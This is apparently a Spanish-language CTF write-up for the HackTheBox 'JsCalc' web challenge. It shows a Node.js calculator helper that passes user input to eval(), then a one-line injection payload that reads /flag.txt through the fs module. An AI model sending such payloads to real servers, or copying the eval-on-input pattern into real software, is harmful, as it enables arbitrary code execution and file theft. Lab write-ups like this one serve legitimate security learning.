JsCalc
In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk!
Web Analysis
La aplicación web permite al usuario ingresar fórmulas matemáticas que luego son evaluadas y devueltas como resultado en pantalla.
El archivo comprimido proporcionado, contiene la estructura del entorno Node.js de la calculadora.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/home/kali/Documents/htb/challenges/jscalc:-$ unzip jscalc.zip
/home/kali/Documents/htb/challenges/jscalc:-$ tree web_jscalc
web_jscalc
├── build-docker.sh
├── challenge
│ ├── helpers
│ │ └── calculaorHelper.js
│ ├── index.js
│ ├── package.json
│ ├── package-lock.json
│ ├── routes
│ │ └── index.js
│ ├── static
│ │ ├── css
│ │ │ └── main.css
│ │ ├── favicon.png
│ │ └── js
│ │ └── main.js
│ ├── views
│ │ └── index.html
│ └── yarm.lock
├── config
│ └── supervisord.conf
├── Dockerfile
├── flag.txt
└── supervisord.conf
El archivo calculatorHelper.js
incluye la función vulnerable. La función eval()
ejecuta dinámicamente cualquier código JavaScript dentro del string, lo que habilita ejecución arbitraria de código.
- Referencia: MDN - eval()
1
2
3
4
5
6
7
8
9
10
11
12
/home/kali/Documents/htb/challenges/jscalc:-$ cat web_jscalc/challenge/helperscalculatorHelper.js
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } })()`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
Vulnerability Exploitation
Node.js incluye el módulo fs
que permite acceder al sistema de archivos. Este código ejecuta directamente readFileSync
, accede al archivo flag.txt
y retorna su contenido como string, explotando exitosamente la vulnerabilidad.
require('fs').readFileSync('/flag.txt').toString();